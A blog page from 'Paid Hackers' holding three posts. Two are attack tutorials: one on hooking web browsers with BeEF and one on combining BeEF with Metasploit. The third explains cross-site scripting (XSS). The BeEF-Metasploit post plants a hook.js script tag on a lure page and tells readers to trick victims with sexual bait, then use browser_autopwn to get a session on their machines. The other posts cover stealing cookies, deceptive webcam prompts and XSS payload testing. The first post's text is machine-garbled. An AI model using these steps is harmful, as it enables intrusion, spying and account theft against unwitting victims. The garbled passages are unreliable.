Results for xss

How to Hack Web Browsers with BeEF - By Paid Hackers

22:39
hacking web browsers using beef

In each of those themes, we will acquaint you with new hacking devices and strategies, however, one device that we will be utilizing as a part of those ranges is known as the Browser Exploitation Framework, or BeEF (don't ask me what the lowercase "e" remains for).

Like Metasploit, BeEF is a system for propelling assaults. Dissimilar to Metasploit, it is particular to propelling assaults against web programs. At times, we will have the capacity to utilize BeEF in conjunction with Metasploit to dispatch specific assaults, so I believe now is the right time for us to end up acquainted with it.

Hamburger was produced by a gathering of designers drove by Wade Alcorn. Based on the recognizable Ruby on Rails stage, BeEF was created to investigate the vulnerabilities in programs and test them. Specifically, BeEF is a phenomenal stage for testing a program's weakness to cross-site scripting (XSS) and other infusion assaults.

Step 1: Start Cooking BeEF 

Beef is incorporated with Kali Linux, and it can be begun as an administration and got to through a web program on your localhost. So we should begin by starting up Kali and cooking a touch of BeEF. Begin the BeEF benefit by going to "Applications" - "Kali Linux" - "Framework Services" - "beEF" - "BeEF begin."

Step 2: Opening a Browser to BeEF 

The BeEF server can be gotten to through any program on our localhost (127.0.0.1) web server at port 3000. To get to its authentication page, go to:

http://localhost:3000/ui/authentication

The default qualifications are "BeEF" for both username and password.

Extraordinary! Presently you have effectively logged into BeEF and are prepared to start utilizing this effective stage to hack web programs.

Note that in the screenshot beneath that my nearby program, 127.0.0.1, shows up in the left hand "Hooked Browsers" explorer after I tapped on the connection to the demo page. BeEF likewise shows its "Beginning" window to one side.

Step 3: Viewing Browser Details 

In the event that I tap on the nearby program, it will give more decisions to one side including a "details" window where we can get all the particulars of that program. Since I am utilizing the Iceweasel program incorporated with Kali, which is based upon Firefox, it demonstrates to me that the browser is Firefox.

It additionally demonstrates to me the version number (24), the platform(Linux i686), any parts (Flash, web attachments, and so on.), and more data that we will have the capacity to use in later web application hacks.

Step 4: Hooking a Browser 

The way to accomplishment with BeEF is to "hook" a program. This fundamentally implies that we require the victimized person to visit a helpless web application. This infused code in the "hooked" program then reacts to charges from the BeEF server. From that point, we can do various vindictive things on the victimized person's PC.

BeEF has a JavaScript document called "hook.js," and in the event that we can get the victimized person to execute it in a powerless web application, we will hook their program! In future excercises, we will take a gander at different approaches to get the exploited person's program snared.

we have "hooked" an Internet Explorer 6 program on an old Windows XP on my LAN at IP 192.168.89.191.

Step 5: Running Commands in the Browser 

Presently, that we have snared the exploited person's program, we can utilize various inherent summons that can executed from the exploited person's program. The following are simply a couple of cases; there are numerous others.

Get Visited Domains

Get Visited URLs

Webcam

Get All Cookies

Snatch Google Contacts

Screenshot

we chose the "Webcam" order that a hefty portion of you may be keen on. As should be obvious, when I execute this charge, an Adobe Flash dialog box will appear on the screen of the client asking, "Permit Webcam?" If they snap "Permit," it will start to return pictures from the exploited person's machine to you.

Obviously, the content can be modified, so be innovative. Case in point, you could modify the catch to say "You have recently won the lottery! Snap here to gather your rewards!" or "Your product is outdated. Snap here to redesign and keep your PC secure." Other such messages may allure the exploited person to tap on the case.

Step 6: Getting Cookies 

When we have the program snared, there is just about boundless potential outcomes of what we can do. In the event that we needed the treats of the victimized person, we can go to "Chrome Extensions" and select "Get All Cookies" as demonstrated in the screenshot beneath.

When we tap on the "Execute" catch to the base right, it will start gathering all the treats from the program. Clearly, once you have the client's treats, you are prone to have admittance to their sites too.

BeEF is an uncommon and capable device for abusing web programs. Notwithstanding what I have demonstrated to you here, it can likewise be utilized to influence working framework assaults.




                                         Sincerely Paid hackers
How to Hack Web Browsers with BeEF - By Paid Hackers How to Hack Web Browsers with BeEF - By Paid Hackers Reviewed by amit on 22:39 Rating: 5

Cross-Site Scripting [XSS] - By Paid Hackers

09:54












What is XSS?
Cross Site Scripting also known as XSS , is one of the most common web appliction vulnerability that allows an attacker to run his own client side scripts(especially Javascript) into web pages viewed by other users.

In a typical XSS attack, a hacker inject his malicious javascript code in the legitimate website . When a user visit the specially-crafted link , it will execute the malicious javascript. A successfully exploited XSS vulnerability will allow attackers to do phishing attacks, steal accounts and even worms.
Example :Let us imagine, a hacker has discovered XSS vulnerability in Gmail and inject malicious script. When a user visit the site, it will execute the malicious script. The malicious code can be used to redirect users to fake gmail page or capture cookies. Using this stolen cookies, he can login into your account and change password.It will be easy to understand XSS , if you have the following prerequisite:


Strong Knowledge in HTML,javascript(Reference).
Basic Knowledge in HTTP client-Server Architecure(Reference)
[optional]Basic Knowledge about server side programming(php,asp,jsp)


XSS Attack:
Step 1: Finding Vulnerable Website
Hackers use google dork for finding the vulnerable sites for instance "?search=" or ".php?q=" . 1337 target specific sites instead of using google search. If you are going to test your own site, you have to check every page in your site for the vulnerability.

Step 2: Testing the Vulnerability:
First of all, we have to find a input field so that we can inject our own script, for example: search box, username,password or any other input fields.





Test 1 :
Once we found the input field, let us try to put some string inside the field, for instance let me input "BTS". It will display the result .




Now right click on the page and select view source. search for the string "BTS" which we entered in the input field. Note the location where the input is placed.




Test 2:
Now we are going to check whether the server sanitize our input or not. In order to do this , let us input the <script> tag inside the input field.



View the source of the page . Find the location where input displayed place in previous test.




Thank god, our code is not being sanitized by the server and the code is just same as what we entered in the field. If the server sanitize our input, the code may look like this &lt;script&gt;. This indicates that the website vulnerable to XSS attack and we can execute our own scripts .

Step 3: Exploiting the vulnerability
Now we know the site is somewhat vulnerable to XSS attack. But let us make sure whether the site is completely vulnerable to this attack by injecting a full javascript code. For instance, let us input <script>alert('BTS')</script> .




Now it will display pop-up box with 'BTS' string. Finally, we successfully exploit the XSS . By extending the code with malicious script, a hacker can do steal cookies or deface the site and more.




Types of XSS Based on persisting capability:
Based one Persistence capability, we can categorize the XSS attack into two types namely Persistent and Non-Persistent.

Persistent XSS:

The Persistent or Stored XSS attack occurs when the malicious code submitted by attacker is saved by the server in the database, and then permanently it will be run in the normal page.

For Example:
Many websites host a support forum where registered users can ask their doubts by posting message , which are stored in the database. Let us imagine , An attacker post a message containing malicious javascript code instead. If the server fail to sanitize the input provided, it results in execution of injected script. The code will be executed whenever a user try to read the post. If suppose the injected code is cookie stealing code, then it will steal cookie of users who read the post. Using the cookie, attacker can take control of your account.


Non-Persistent XSS:

Non-Persistent XSS, also referred as Reflected XSS , is the most common type of XSS found now a days. In this type of attack, the injected code will be send to the server via HTTPrequest. The server embedd the input with the html file and return the file(HTTPResponse) to browser. When the browser executes the HTML file, it also execute the embedded script. This kind of XSS vulnerability frequently occur in search fields.

Example:
Let us consider a project hosting website. To find our favorite project, we will just input the related-word in the search box . When searching is finished, it will display a message like this "search results for yourword " . If the server fail to sanitize the input properly, it will results in execution of injected script.

In case of reflected XSS attacks, attacker will send the specially-crafted link to victims and trick them into click the link. When user click the link, the browser will send the injected code to server, the server reflects the attack back to the users' browser. The browser then executes the code .

In addition to these types, there is also third type of attack called DOM Based XSS attack, i will explain about this attack in later posts.

What can an attacker do with this Vulnerability?

Stealing the Identity and Confidential Data(credit card details).
Bypassing restriction in websites.
Session Hijacking(Stealing session)
Malware Attack
Website Defacement
Denial of Service attacks(Dos)

                                                     Sincerely Paid hackers
Cross-Site Scripting [XSS] - By Paid Hackers Cross-Site Scripting [XSS] - By Paid Hackers Reviewed by amit on 09:54 Rating: 5

Hacking with BEEF and Metasploit (IMAGES INCLUDED) - By Paid Hackers

00:44
How to hack someone through webbrowser with Metasploit and Beef

First Install Wamp

After installing Wamp go to C drive then the Wamp folder then the folder www delete all files and create a index.html file with no codes
(Remember with no codes)

[Image: 4jkZmx3h.jpg]

Then create a folder as you like I have create folder sweetgirl.jpg

Then insert a any picture as you like

Rename the photo with the name sweetgirl.jpg

[Image: sbINmO9h.jpg]

and create a html file inside it with name index.html

HTML Code


PHP Code:
<html>
<
head>
<
title>sweetgirl.jpg</title>
<
script src="http://192.168.xxx.xxx:3000/hook.js">






Remove the xxx.xxx with your ip (Important)

Note if your friend is using windows 8 and chrome browser then you must update Beef go to console of BackTrackand type

Code root@bt:~# rm -rf /pentest/web/beef && git clone https://github.com/beefproject/beef.git /pentest/web/beef (NOT NEEDED)

Then go to BackTrack then Application Launcher Menu ---> BackTrack ---> Exploitation Tools ---> Social Engineering Tools ---> Beef XSS Framework---> Beef Installer

It will take some time

[Image: tAXBA2H.png]

[Image: qvb2SUP.png]

After installing go to BackTrack then Application Launcher Menu ---> BackTrack ---> Exploitation Tools ---> Social Engineering Tools ---> Beef XSS Framework---> Beef and run it

[Image: RdiXgqN.png]

After running beef go to 192.168.xxx.xxx:3000\ui\panel and login with your username ---> beef and password ---> beef

[Image: TEy097l.png]

[Image: EONc70L.png]

After that you have to manupulate peoples to open you link tell them like see horny girls pictures here http:\\your external ip\sweetgirl.jpg

And if they will go to your link they will be your Zombie in beef

[Image: A9zDcbkh.jpg]

[Image: yue0oY3.png]

After that head over to metasploit run and type use auxiliary/server/browser_autopwn
set LHOST your ip 192.168.xxx.xxx
set LPORT 80
set URIPATH \
run

[Image: OuJOu6H.png]

At the end of the execution you will get you server link then head over to the beef Control Panel again select the zombie go to Commands then Browser then Hooked Domain and Redirect Browser
enter your server link there and click excute now you have to wait when he will open the browser again and bingo you got the seesion on your computer.

[Image: hQhHNs3h.jpg]

                                 Sincerely Paid hackers
Hacking with BEEF and Metasploit (IMAGES INCLUDED) - By Paid Hackers Hacking with BEEF and Metasploit (IMAGES INCLUDED) - By Paid Hackers Reviewed by amit on 00:44 Rating: 5
Powered by Blogger.